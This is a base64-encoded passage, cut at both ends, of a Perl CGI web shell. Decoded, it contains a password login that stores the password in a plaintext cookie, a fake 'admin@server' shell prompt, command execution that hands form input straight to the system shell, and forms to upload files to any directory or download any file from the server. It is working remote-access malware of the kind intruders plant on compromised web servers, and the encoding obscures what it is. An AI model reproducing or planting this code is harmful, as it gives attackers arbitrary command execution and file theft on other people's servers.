ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJ